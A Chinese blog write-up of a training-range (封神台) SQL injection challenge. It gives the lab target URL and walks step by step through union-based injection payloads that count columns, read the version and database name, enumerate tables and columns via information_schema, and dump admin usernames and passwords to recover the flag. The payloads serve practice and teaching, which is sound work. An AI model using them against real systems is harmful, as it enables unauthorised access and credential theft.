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题目简述：题目简述：

封神台靶场，题目链接

https://blog.csdn.net/RABCDXB
https://blog.csdn.net/rabcdxb/category_10445577.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/RABCDXB/article/details/113820517
https://blog.csdn.net/rabcdxb/category_10445577.html
https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7


解题过程：解题过程：

首先是这样的url为：

http://59.63.200.79:8003/

当点击点击查看新闻时，相应的url变化，变为如下：

http://59.63.200.79:8003/?id=1



寻找注入点寻找注入点

?id=1 and 1=1#   回显正常

?id=1 and 1=2#  回显异常

查看字段数查看字段数

?id=1 order by 1,2#  回显正常

?id=1 order by 3#  回显异常



判断字段数为2

查看回显位置查看回显位置

得到回显位置为2

?id=20 union select 1,2#

查看版本信息查看版本信息

?id=20 union select 1,version()#

爆数据库名爆数据库名



?id=20 union select 1,database()#

爆表名爆表名

?id=20 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名爆字段名

猜测所要的信息在admin表中

?id=20 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

获取字段值获取字段值

?id=20 union select 1,group_concat(username,0x3a,password) from admin#

最后将hellohack作为flag提交即可。

总结总结

这个题目比较常规，算是又复习了一遍联合注入的知识，加深了印象。
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